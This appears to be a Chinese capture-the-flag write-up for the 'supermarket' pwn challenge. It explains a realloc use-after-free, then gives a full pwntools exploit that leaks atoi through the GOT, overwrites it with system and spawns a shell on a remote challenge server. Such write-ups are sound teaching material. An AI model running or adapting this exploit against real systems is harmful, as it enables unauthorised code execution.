0%

Supermarket

首先,看一下程序的保护机制。看起来还不错

然后,我们用IDA分析一下

分析出程序大概有这样的一个结构体

1
2
3
4
5
6
typedef struct Node {  
char name[16];
int price;
int description_size;
char *description;
} Node;

用来输入的函数

最多只能输入n-1个字符,因此,也不能溢出

删除功能,也对Node指针设置了NULL

一切的检查的比较充分,然而,这里出现的漏洞

让我们先看看realloc的知识

根据百度百科

**realloc原型是extern void realloc(void mem_address, unsigned int newsize);

先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。

本程序中,realloc后,并没有把返回值重新赋值给node0->description,因此,当realloc的newsize大于原来的size时,原来区域的空间会被free掉,由于没有把返回地址赋给node0->description,因此存在UAF漏洞。

并且,由于创建node时,是先malloc node结构体,然后再malloc description的空间,所以,当我们再次申请创建一个node时,如果满足条件,node结构体就会申请到node0->description,然后,我们编辑node0的description就是编辑node1的结构体,我们把node1的description指向atoi的got表,我们就可以实现泄露atoi的地址以及修改atoi的GOT表。

注意,我们的node0的description的大小必须为unsorted bin,因为,这样我们才能让node2的结构体申请到node0->description处,因为结构体空间大小为0x1C,刚好满足小于node0->description地址处空间的大小,可以从中切割区域。如果要使用fastbin的话,是不可行的,因为fastbin是当要申请的空间大小和空闲的空间大小一模一样时,才能分配到那个空闲的块处,假如我们设置的大小为0x1C,但是本题的用来获取输入的函数最多只能输入n-1个字符,最后一个字符会强制设置为0,**而我们要把atoi的got表地址覆盖到node2->description,由于该字段位于结构体最后,因此,我们将会覆盖不完整。**所以,我们使用unsorted bin。(请仔细思考一下)

当我们成功修改了node2的结构体时,我们就成功了八成了。只要我们把node2-> description指向atoi的got表,那么我们编辑node2的description时就是在编辑atoi的got表

综上,我们最终的exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./supermarket')
sh = remote('111.198.29.45',55879)
elf = ELF('./supermarket')
atoi_got = elf.got['atoi']

def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('price:','10')
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)

def delete(index):
sh.sendlineafter('your choice>>','2')
sh.sendlineafter('name:',str(index))

def show():
sh.sendlineafter('your choice>>','3')

def edit(index,size,content):
sh.sendlineafter('your choice>>','5')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)

#node0
create(0,0x80,'a'*0x10)
#node1,只用来做分隔作用,防止块合并
create(1,0x20,'b'*0x10)
#realloc node0->description
#注意不要加任何数据,因为我们发送的数据写入到的是一个被free的块(仔细思考一下这句话),这会导致后面malloc时出错
edit(0,0x90,'')
#现在node2将被分配到node0的原description处
create(2,0x20,'d'*0x10)
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
#由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1
#因此edit(0)就是编辑node1的结构体,我们通过修改,把node1->description指向atoi的got表
edit(0,0x80,payload)
#泄露信息
show()
sh.recvuntil('2: price.20, des.')
#泄露atoi的加载地址
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))

libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
#修改atoi的表,将它指向system
edit(2,0x20,p32(system_addr))
#getshell
sh.sendlineafter('your choice>>','/bin/sh')

sh.interactive()